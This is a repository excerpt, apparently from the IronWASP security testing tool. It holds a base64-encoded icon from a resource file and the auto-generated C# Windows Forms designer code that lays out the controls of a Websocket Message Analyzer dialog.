AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + 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 + + + \ No newline at end of file diff --git a/Iron/Hawas/WebsocketMessageAnalyzer.Designer.cs b/Iron/Hawas/WebsocketMessageAnalyzer.Designer.cs new file mode 100644 index 0000000..d67951d --- /dev/null +++ b/Iron/Hawas/WebsocketMessageAnalyzer.Designer.cs @@ -0,0 +1,132 @@ +namespace IronWASP.Hawas +{ + partial class WebsocketMessageAnalyzer + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(WebsocketMessageAnalyzer)); + this.OutputTB = new System.Windows.Forms.TextBox(); + this.SelectOutputFolderLbl = new System.Windows.Forms.LinkLabel(); + this.AnalysisProgressBar = new System.Windows.Forms.ProgressBar(); + this.StartBtn = new System.Windows.Forms.Button(); + this.StatusLbl = new System.Windows.Forms.Label(); + this.OutputFolderDialog = new System.Windows.Forms.FolderBrowserDialog(); + this.label1 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // OutputTB + // + this.OutputTB.Location = new System.Drawing.Point(12, 187); + this.OutputTB.Name = "OutputTB"; + this.OutputTB.Size = new System.Drawing.Size(560, 20); + this.OutputTB.TabIndex = 8; + this.OutputTB.Visible = false; + // + // SelectOutputFolderLbl + // + this.SelectOutputFolderLbl.AutoSize = true; + this.SelectOutputFolderLbl.Location = new System.Drawing.Point(192, 98); + this.SelectOutputFolderLbl.Name = "SelectOutputFolderLbl"; + this.SelectOutputFolderLbl.Size = new System.Drawing.Size(195, 13); + this.SelectOutputFolderLbl.TabIndex = 7; + this.SelectOutputFolderLbl.TabStop = true; + this.SelectOutputFolderLbl.Text = "Select the folder to save analysis results"; + this.SelectOutputFolderLbl.Visible = false; + this.SelectOutputFolderLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SelectOutputFolderLbl_LinkClicked); + // + // AnalysisProgressBar + // + this.AnalysisProgressBar.Location = new System.Drawing.Point(74, 131); + this.AnalysisProgressBar.MarqueeAnimationSpeed = 50; + this.AnalysisProgressBar.Name = "AnalysisProgressBar"; + this.AnalysisProgressBar.Size = new System.Drawing.Size(440, 23); + this.AnalysisProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.AnalysisProgressBar.TabIndex = 6; + this.AnalysisProgressBar.Visible = false; + // + // StartBtn + // + this.StartBtn.Location = new System.Drawing.Point(10, 93); + this.StartBtn.Name = "StartBtn"; + this.StartBtn.Size = new System.Drawing.Size(176, 23); + this.StartBtn.TabIndex = 10; + this.StartBtn.Text = "Start Analysis"; + this.StartBtn.UseVisualStyleBackColor = true; + this.StartBtn.Click += new System.EventHandler(this.StartBtn_Click); + // + // StatusLbl + // + this.StatusLbl.AutoSize = true; + this.StatusLbl.Location = new System.Drawing.Point(71, 162); + this.StatusLbl.Name = "StatusLbl"; + this.StatusLbl.Size = new System.Drawing.Size(115, 13); + this.StatusLbl.TabIndex = 11; + this.StatusLbl.Text = " "; + // + // label1 + // + this.label1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F); + this.label1.Location = new System.Drawing.Point(10, 7); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(562, 83); + this.label1.TabIndex = 12; + this.label1.Text = resources.GetString("label1.Text"); + // + // WebsocketMessageAnalyzer + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(584, 211); + this.Controls.Add(this.label1); + this.Controls.Add(this.StatusLbl); + this.Controls.Add(this.StartBtn); + this.Controls.Add(this.OutputTB); + this.Controls.Add(this.SelectOutputFolderLbl); + this.Controls.Add(this.AnalysisProgressBar); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(600, 250); + this.MinimumSize = new System.Drawing.Size(600, 250); + this.Name = "WebsocketMessageAnalyzer"; + this.Text = "Websocket Message Analyzer"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.WebsocketMessageAnalyzer_FormClosing); + this.Load += new System.EventHandler(this.WebsocketMessageAnalyzer_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox OutputTB; + private System.Windows.Forms.LinkLabel SelectOutputFolderLbl; + private System.Windows.Forms.ProgressBar AnalysisProgressBar; + private System.Windows.Forms.Button StartBtn; + private System.Windows.Forms.Label StatusLbl; + private System.Windows.Forms.FolderBrowserDialog OutputFolderDialog; + private System.Windows.Forms.Label label1; + } +} \ 